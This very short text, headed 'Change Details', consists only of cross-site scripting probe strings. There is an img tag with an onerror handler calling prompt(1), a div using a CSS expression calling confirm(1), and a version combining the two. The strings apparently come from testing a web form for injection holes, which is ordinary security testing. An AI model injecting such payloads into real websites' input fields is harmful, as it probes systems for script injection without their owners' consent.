Change Details

"><img src=x onerror=prompt(1)>

<div/style="width:expression(confirm(1))">X</div>

"><img src=x onerror=prompt(1)<div/style="width:expression(confirm(1))">X</div>